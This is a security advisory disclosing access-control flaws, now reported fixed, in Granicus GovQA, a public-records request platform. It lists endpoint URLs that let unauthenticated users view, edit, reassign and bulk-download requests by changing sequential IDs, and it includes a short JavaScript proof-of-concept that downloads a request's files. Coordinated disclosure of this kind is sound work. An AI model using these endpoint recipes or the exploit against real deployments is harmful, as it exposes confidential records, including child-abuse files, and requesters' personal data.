

Granicus GovQA

Description

Insufficient permission check vulnerabilities in Granicus's GovQA allowed unauthorized access to view, edit, and change ownership of open records requests^[1], including restricted-access confidential records. By changing ownership of a request, an attacker could effectively deny a legitimate user's access to that request. Affected deployments include a number of Department of Children and Family Services or equivalents, who provide highly explicit records detailing allegations of domestic violence and sexual abuse of children.

Details

- To view request details, an attacker could access `RequestOpen.aspx?rid=<requestId>` OR `RequestOpenCI.aspx?rid=<requestId>` , allowing them to view the name and other private information about the requester, as well as full details of the request.
- To edit request details, an attacker could access `RequestOpenCI.aspx?rid=<requestId>` to modify any field originally set by the requester.
- To change ownership of requests, an attacker could access `RequestOpenCI.aspx?rid=<requestId>` to manipulate the email field to assign ownership to their own account, another user's account, or to an email address not associated with an existing user.
- To download files attached to a request, which include those uploaded by the requester and the responding organization, an attacker could send a `POST` request to `RequestEdit.aspx/DownloadAll` with the data `{ itemId: <requestId> }` . This action would return a URL similar to `/temp/<requestId>.zip` , which could then be used to download the files. A proof of concept exploit is included below.

The sequential numbering of Request IDs makes it trivial for attackers to discover other requests, posing future risk to the system.

In a clear effort to protect its brand value, Granicus has deemed this issue low severity^[2], showcasing an egregious disregard for industry-standards, such as the Common Vulnerability Scoring System (CVSS).

CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Timeline

- 2024-01-06 - Vulnerabilities discovered in GovQA.
- 2024-01-08 - Granicus notified that vulnerabilities exist in GovQA.
- 2024-02-27 - Vulnerability details reported to Granicus.
- 2024-03-04 - Granicus confirms receipt of report.
- 2024-03-04 - Vulnerabilities confirmed fixed.

Proof of Concept

```
/*
 * Download all files for the request currently being viewed.
 * No authentication is required.
 */
DownloadFiles((new URL(window.location)).searchParams.get('rid'));

async function DownloadFiles(itemId) {
  const result = await fetch("RequestEdit.aspx/DownloadAll", {
```

```
method: "POST",
body: JSON.stringify({
  itemId: itemId
}),
headers: {"Content-Type": "application/json; charset=utf-8"}
})
if (result.status !== 200) {
  console.log(`Unable to download archive for ${itemId}.`);
  return;
}
const json = await result.json();
console.log(`Attempting to download ${json.d}`);
window.location=`.${json.d}`;
}
```

Acknowledgements

- [Jaku](#), founder of [Crowd Control](#), who frequently offers his cybersecurity wisdom and experience.
- [Johnny Xmas](#), [Burbsec](#) President, who has long provided guidance and acted as the voice of reason.
- [David DiMolfetta](#) from [Nextgov/FCW](#), who immediately understood the severity of these vulnerabilities, took them to his editors, and worked tirelessly on his article^[3].
- [Zack Whittaker](#) from [TechCrunch](#), who graciously allows me to rant about cybersecurity.
- [Brendon Keefe](#) from [Atlanta News First](#), who retroactively permitted me to use his open records request for testing.
- The [CISA CVD Team](#) assisted with the coordination of these vulnerabilities.

Contact

Jason Parker

- Email: north@jeltz.com
- Press: press@jeltz.org
- Mastodon: [@north@jeltz.com](https://mstdn.social/@north@jeltz.com)

Sponsorship

- If you enjoy my work, consider becoming a sponsor on [Patreon](#) or [GitHub](#), and/or consider donating to the [Electronic Frontier Foundation](#) or [St. Jude](#). Many hours of unpaid labor have been put into researching and disclosing these vulnerabilities.

1. *The term "open" in "open records requests" can be misleading, as not all "open" requests are intended for public access. Many state and local governments have exceptions regarding the types of information that can be requested and the individuals permitted to access it. For instance, individuals directly affected by a record may have a legal right to request access regardless of public release exemptions. However, accessing such requests may pose security risks, as sensitive information could be downloaded by attackers. Furthermore, different states have varying requirements for requesting access, with some jurisdictions requiring proof of identity or residency. For example, Tennessee mandates requestors to upload a copy of their State ID to prove residency, potentially exposing personal information to unauthorized access.* [↗](#)
2. *If Granicus considers the leakage of explicit records describing the sexual abuse of children to be of low severity, I shudder to think what they might consider to be of medium or high severity.* [↗](#)
3. *Link and article headline TBD.* [↗](#)